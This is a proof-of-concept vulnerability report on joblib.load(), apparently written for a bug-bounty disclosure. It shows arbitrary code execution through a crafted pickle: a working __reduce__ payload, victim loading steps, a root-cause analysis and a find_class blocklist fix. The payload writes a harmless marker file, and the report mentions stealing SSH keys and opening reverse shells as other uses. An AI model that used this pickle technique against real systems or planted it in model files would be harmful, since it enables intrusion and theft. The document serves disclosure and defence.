joblib-rce-poc

PoC: Arbitrary Code Execution via joblib.load() — Missing find_class Restriction

File Details

Vulnerability Summary

joblib.load() provides no safe deserialization mode. The NumpyUnpickler class inherits from pickle._Unpickler without overriding find_class, allowing arbitrary Python code execution during model loading. Unlike other ML frameworks (PyTorch weights_only=True, Keras safe_mode=True, NumPy allow_pickle=False), joblib has zero runtime protection — only a docstring warning.

Reproduction

Prerequisites

pip install joblib  # any version

Step 1: Create the malicious file

import joblib

class MaliciousPayload:
    def __reduce__(self):
        return (exec, ("""
import os, json
info = {
    'rce': True,
    'hostname': os.uname().nodename,
    'user': os.environ.get('USER', '?'),
}
with open('/tmp/joblib_rce_demo.txt', 'w') as f:
    json.dump(info, f, indent=2)
""",))

joblib.dump(MaliciousPayload(), "malicious.joblib")

Step 2: Victim loads the file

import joblib
joblib.load("malicious.joblib")  # No warning, no prompt → RCE

Step 3: Verify

cat /tmp/joblib_rce_demo.txt
# {"rce": true, "hostname": "victim-host", "user": "victim"}

Expected Result

The victim's machine executes arbitrary Python code with no warning, prompt, or opt-in flag. This file (pretrained_model.joblib) demonstrates the exploit by writing a harmless marker file, but the same technique can exfiltrate SSH keys, implant backdoors, or execute reverse shells.

Root Cause

joblib/numpy_pickle_utils.py:20:

Unpickler = pickle._Unpickler  # C implementation, unrestricted

joblib/numpy_pickle.py:404-437 — NumpyUnpickler extends unrestricted Unpickler with no find_class override:

class NumpyUnpickler(Unpickler):  # Unpickler = pickle._Unpickler
    def __init__(self, filename, file_handle, ...):
        Unpickler.__init__(self, self.file_handle)
        # NOTE: find_class is NEVER overridden here

Comparison

Fix

Override find_class in NumpyUnpickler to restrict allowed modules:

class NumpyUnpickler(Unpickler):
    ALLOWED_MODULES = {'numpy', 'numpy._core.multiarray', 'builtins'}
    BLOCKED_NAMES = {'exec', 'eval', '__import__', 'open', 'compile'}
    
    def find_class(self, module, name):
        if module not in self.ALLOWED_MODULES or name in self.BLOCKED_NAMES:
            raise pickle.UnpicklingError(f"Blocked: {module}.{name}")
        return super().find_class(module, name)

References

• Python pickle security: https://docs.python.org/3/library/pickle.html#pickle-restrict
• Similar CVE: CVE-2026-1839 (transformers torch.load without weights_only=True, $156 bounty)
• Huntr target: https://huntr.com/bounties/disclose/models?target=joblib